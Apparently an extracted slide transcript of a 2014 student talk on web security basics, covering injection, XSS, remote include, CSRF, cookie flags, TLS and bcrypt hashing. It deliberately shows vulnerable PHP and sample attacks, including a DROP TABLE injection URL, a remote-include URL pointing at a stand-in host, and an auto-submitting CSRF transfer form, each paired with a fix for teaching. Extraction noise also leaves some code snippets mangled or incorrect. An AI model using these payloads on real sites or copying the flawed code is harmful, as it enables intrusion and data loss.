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Kevin O'Connor
February 28, 2014
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RCOS Security Talk
Basic overview of common vulnerabilities and best practices.
Kevin O'Connor
February 28, 2014
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Transcript
YOU SUCK at security
1. Your attackers are better
Do NOT ROLL YOUR OWN
None
1. Open-source 2. Audited 3. Active community
2. Security is hard
No. Seriously.
5,000 CVEs /yr
3. Dont trust input
<?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";
! $result = mysql_query($query);!
/derp.php?user=x’ DROP TABLE users;--!
/derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/
<?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use
Parameter Binding
<div><?php echo $row['username']; ?></div>! XSS. Inject javascript
<html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "
"<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit
<?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.
Sanitize all input
Blacklist Only use if you know all cases Less restrictive
on user
Whitelist Best security Very restrictive
Protip Markdown Google Caja
4. Protect your cookies
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL
only HTTP access only Prevents XSS theft
5. No Outsiders
<iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"
! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="
[email protected]
" />! " "</form>! "');! "injected.submit();! </script>!
CSRF sucks
Block it. Require a unique token per request X-Frame-Options: Block
6. Encrypt everything
Too expensive? startssl.com
Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem
- out cert.pem -days XXX!
Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!
Verify Servers Use server certs to verify servers to one
another
Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers
(DES, RC4) h"p://blog.cloudflare.com/staying-‐on-‐top-‐of-‐tls-‐a"acks
Force SSL
7. Use Slow Hashes
No Plaintext Passwords Just don’t.
Hash + Salt MD5 SHA1 … HMAC + bcrypt
Wait. Explain. We want to be slow.
Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!
Salt-free db Store salt on file system Two attacks needed
Or both
Migrate. Maintain two hashes Rehash on successful login Purge old
hashes after x duration
Lost Passwords Hash a one-time login ID
8. Remember the basics
Random IV Having the IV be public is okay
Wait for entropy /dev/random waits /dev/urandom non-blocking
Use ECC NSA-Proof * * As far as we know,
at least…
Passwordless Login Use keypairs for server access
9. Use libraries
Crypto NaCL SJCL Crypto++ QCA
Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel
Node: Sails Java/Scala: Play Ruby: Rails
Assume nothing Always research security best practices
Questions? Complaints?
Im hiring Sysadmin.union.rpi.edu/apply